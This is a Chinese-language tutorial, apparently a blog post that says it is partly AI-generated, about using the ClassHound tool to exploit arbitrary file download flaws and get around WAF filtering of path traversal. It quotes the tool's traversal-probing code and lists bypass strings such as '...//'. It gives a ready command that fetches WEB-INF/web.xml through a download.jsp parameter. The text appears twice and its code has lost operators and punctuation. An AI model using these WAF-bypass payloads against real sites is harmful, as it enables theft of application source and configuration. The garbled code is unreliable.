ClassHound高级技巧突破WAF限制的文件遍历字符优化方案【免费下载链接】ClassHound利用任意文件下载漏洞循环下载反编译 Class 文件获得网站 Java 源代码项目地址: https://gitcode.com/gh_mirrors/cl/ClassHoundClassHound是一款强大的文件下载工具专为利用任意文件下载漏洞循环下载反编译Class文件以获取网站Java源代码而设计。在实际渗透测试中Web应用防火墙WAF常常会对文件遍历字符进行检测和拦截本文将分享突破WAF限制的文件遍历字符优化方案帮助你更高效地使用ClassHound。一、WAF对文件遍历字符的常见拦截方式WAF通常会对常见的文件遍历字符如../进行检测和过滤当检测到这些字符时会阻止请求或返回错误页面。这给ClassHound的正常使用带来了挑战因此需要对文件遍历字符进行优化。二、ClassHound中的文件遍历字符设置在ClassHound中可以通过命令行参数来指定文件遍历字符和字符数量。相关代码如下parser.add_argument(-tc, --travel-char, desttravel_char, default, helpspecify travel char like ../) parser.add_argument(-cc, --char-count, desttravel_char_count, default-1, typeint, helptravel char count number)通过-tc参数可以指定文件遍历字符默认是../通过-cc参数可以指定文件遍历字符的数量。三、突破WAF限制的文件遍历字符优化方案3.1 自动探测合适的文件遍历字符ClassHound具有自动探测文件遍历字符的功能。当未指定遍历字符时它会先尝试使用../然后通过在正常文件名中插入特定字符来探测目标是否会替换这些字符为空字符从而确定合适的遍历字符。相关代码如下if not travel_char: travel_char ../ # 正常文件名倒数第二位插入 ./ 探测目标是否会替换 ./ 为空字符 change_travel_path(normal_path[:-1] ./ normal_path[-1]) char_status_code, char_content request() # 被替换 if char_status_code normal_status_code and char_content normal_content: travel_char ...// # 正常文件名倒数第二位插入 ../ 探测目标是否会替换 ../ 为空字符 change_travel_path(normal_path[:-1] ../ normal_path[-1]) char_status_code, char_content request() # 被替换 if char_status_code normal_status_code and char_content normal_content: travel_char ...../// else: # 正常文件名倒数第二位插入 ../ 探测目标是否会替换 ../ 为空字符 change_travel_path(normal_path[:-1] ../ normal_path[-1]) char_status_code, char_content request() # 被替换 if char_status_code normal_status_code and char_content normal_content: travel_char ....//这种自动探测机制可以帮助我们快速找到能够绕过WAF检测的文件遍历字符。3.2 调整文件遍历字符数量除了选择合适的文件遍历字符外调整字符数量也是突破WAF限制的重要方法。ClassHound允许通过-cc参数手动指定遍历字符数量也可以在未指定时自动尝试不同的数量。相关代码如下if travel_char_count ! -1: change_travel_path(travel_char * travel_char_count _tf) try_status_code, try_content request() if try_content and try_status_code normal_status_code and keyword not in str(try_content): save_file(workspace, _tf, try_content) print(\r[] Travel Char: [{}] Count: [{}]. Success download: [{}].format(travel_char, travel_char_count, _tf)) else: for x in range(1, max_count 1): change_travel_path(travel_char * x _tf) try_status_code, try_content request() if try_content and try_status_code normal_status_code and keyword not in str(try_content): travel_char_count x if travel_char_count 0 else travel_char_count save_file(workspace, _tf, try_content) print(\r[] Travel Char: [{}] Count: [{}]. Success download: [{}].format(travel_char, travel_char_count, _tf)) break通过尝试不同数量的文件遍历字符我们可以找到能够绕过WAF检测的最佳数量。3.3 使用特殊的文件遍历字符组合除了上述方法外还可以尝试使用一些特殊的文件遍历字符组合如...//、....//、.....///等。这些组合可能不会被WAF识别为文件遍历字符从而成功绕过检测。四、实际应用示例假设我们要下载目标网站的WEB-INF/web.xml文件而WAF拦截了../字符。我们可以使用以下命令来突破WAF限制python classhound.py -u http://target.com/download.jsp?pathimages/#1.png# -tc ...// -cc 3在这个命令中我们使用-tc ...//指定文件遍历字符为...//使用-cc 3指定字符数量为3。通过这种方式ClassHound可以生成...//...//...//WEB-INF/web.xml这样的路径从而绕过WAF的检测成功下载文件。五、总结突破WAF限制的文件遍历字符优化是使用ClassHound的关键技巧之一。通过自动探测合适的文件遍历字符、调整字符数量以及使用特殊的字符组合我们可以有效地绕过WAF的检测获取目标网站的Java源代码。在实际应用中我们需要根据具体的WAF规则和目标网站的情况灵活选择和调整这些优化方案以达到最佳的效果。如果你想了解更多关于ClassHound的使用方法可以查看项目中的README.md文件其中包含了详细的参数说明和使用示例。同时ClassHound的源代码也可以在classhound.py中找到你可以根据自己的需求进行修改和扩展。要开始使用ClassHound你可以通过以下命令克隆仓库git clone https://gitcode.com/gh_mirrors/cl/ClassHound希望本文分享的高级技巧能够帮助你更好地使用ClassHound在渗透测试中取得更好的成果 【免费下载链接】ClassHound利用任意文件下载漏洞循环下载反编译 Class 文件获得网站 Java 源代码项目地址: https://gitcode.com/gh_mirrors/cl/ClassHound创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
ClassHound高级技巧:突破WAF限制的文件遍历字符优化方案
ClassHound高级技巧突破WAF限制的文件遍历字符优化方案【免费下载链接】ClassHound利用任意文件下载漏洞循环下载反编译 Class 文件获得网站 Java 源代码项目地址: https://gitcode.com/gh_mirrors/cl/ClassHoundClassHound是一款强大的文件下载工具专为利用任意文件下载漏洞循环下载反编译Class文件以获取网站Java源代码而设计。在实际渗透测试中Web应用防火墙WAF常常会对文件遍历字符进行检测和拦截本文将分享突破WAF限制的文件遍历字符优化方案帮助你更高效地使用ClassHound。一、WAF对文件遍历字符的常见拦截方式WAF通常会对常见的文件遍历字符如../进行检测和过滤当检测到这些字符时会阻止请求或返回错误页面。这给ClassHound的正常使用带来了挑战因此需要对文件遍历字符进行优化。二、ClassHound中的文件遍历字符设置在ClassHound中可以通过命令行参数来指定文件遍历字符和字符数量。相关代码如下parser.add_argument(-tc, --travel-char, desttravel_char, default, helpspecify travel char like ../) parser.add_argument(-cc, --char-count, desttravel_char_count, default-1, typeint, helptravel char count number)通过-tc参数可以指定文件遍历字符默认是../通过-cc参数可以指定文件遍历字符的数量。三、突破WAF限制的文件遍历字符优化方案3.1 自动探测合适的文件遍历字符ClassHound具有自动探测文件遍历字符的功能。当未指定遍历字符时它会先尝试使用../然后通过在正常文件名中插入特定字符来探测目标是否会替换这些字符为空字符从而确定合适的遍历字符。相关代码如下if not travel_char: travel_char ../ # 正常文件名倒数第二位插入 ./ 探测目标是否会替换 ./ 为空字符 change_travel_path(normal_path[:-1] ./ normal_path[-1]) char_status_code, char_content request() # 被替换 if char_status_code normal_status_code and char_content normal_content: travel_char ...// # 正常文件名倒数第二位插入 ../ 探测目标是否会替换 ../ 为空字符 change_travel_path(normal_path[:-1] ../ normal_path[-1]) char_status_code, char_content request() # 被替换 if char_status_code normal_status_code and char_content normal_content: travel_char ...../// else: # 正常文件名倒数第二位插入 ../ 探测目标是否会替换 ../ 为空字符 change_travel_path(normal_path[:-1] ../ normal_path[-1]) char_status_code, char_content request() # 被替换 if char_status_code normal_status_code and char_content normal_content: travel_char ....//这种自动探测机制可以帮助我们快速找到能够绕过WAF检测的文件遍历字符。3.2 调整文件遍历字符数量除了选择合适的文件遍历字符外调整字符数量也是突破WAF限制的重要方法。ClassHound允许通过-cc参数手动指定遍历字符数量也可以在未指定时自动尝试不同的数量。相关代码如下if travel_char_count ! -1: change_travel_path(travel_char * travel_char_count _tf) try_status_code, try_content request() if try_content and try_status_code normal_status_code and keyword not in str(try_content): save_file(workspace, _tf, try_content) print(\r[] Travel Char: [{}] Count: [{}]. Success download: [{}].format(travel_char, travel_char_count, _tf)) else: for x in range(1, max_count 1): change_travel_path(travel_char * x _tf) try_status_code, try_content request() if try_content and try_status_code normal_status_code and keyword not in str(try_content): travel_char_count x if travel_char_count 0 else travel_char_count save_file(workspace, _tf, try_content) print(\r[] Travel Char: [{}] Count: [{}]. Success download: [{}].format(travel_char, travel_char_count, _tf)) break通过尝试不同数量的文件遍历字符我们可以找到能够绕过WAF检测的最佳数量。3.3 使用特殊的文件遍历字符组合除了上述方法外还可以尝试使用一些特殊的文件遍历字符组合如...//、....//、.....///等。这些组合可能不会被WAF识别为文件遍历字符从而成功绕过检测。四、实际应用示例假设我们要下载目标网站的WEB-INF/web.xml文件而WAF拦截了../字符。我们可以使用以下命令来突破WAF限制python classhound.py -u http://target.com/download.jsp?pathimages/#1.png# -tc ...// -cc 3在这个命令中我们使用-tc ...//指定文件遍历字符为...//使用-cc 3指定字符数量为3。通过这种方式ClassHound可以生成...//...//...//WEB-INF/web.xml这样的路径从而绕过WAF的检测成功下载文件。五、总结突破WAF限制的文件遍历字符优化是使用ClassHound的关键技巧之一。通过自动探测合适的文件遍历字符、调整字符数量以及使用特殊的字符组合我们可以有效地绕过WAF的检测获取目标网站的Java源代码。在实际应用中我们需要根据具体的WAF规则和目标网站的情况灵活选择和调整这些优化方案以达到最佳的效果。如果你想了解更多关于ClassHound的使用方法可以查看项目中的README.md文件其中包含了详细的参数说明和使用示例。同时ClassHound的源代码也可以在classhound.py中找到你可以根据自己的需求进行修改和扩展。要开始使用ClassHound你可以通过以下命令克隆仓库git clone https://gitcode.com/gh_mirrors/cl/ClassHound希望本文分享的高级技巧能够帮助你更好地使用ClassHound在渗透测试中取得更好的成果 【免费下载链接】ClassHound利用任意文件下载漏洞循环下载反编译 Class 文件获得网站 Java 源代码项目地址: https://gitcode.com/gh_mirrors/cl/ClassHound创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考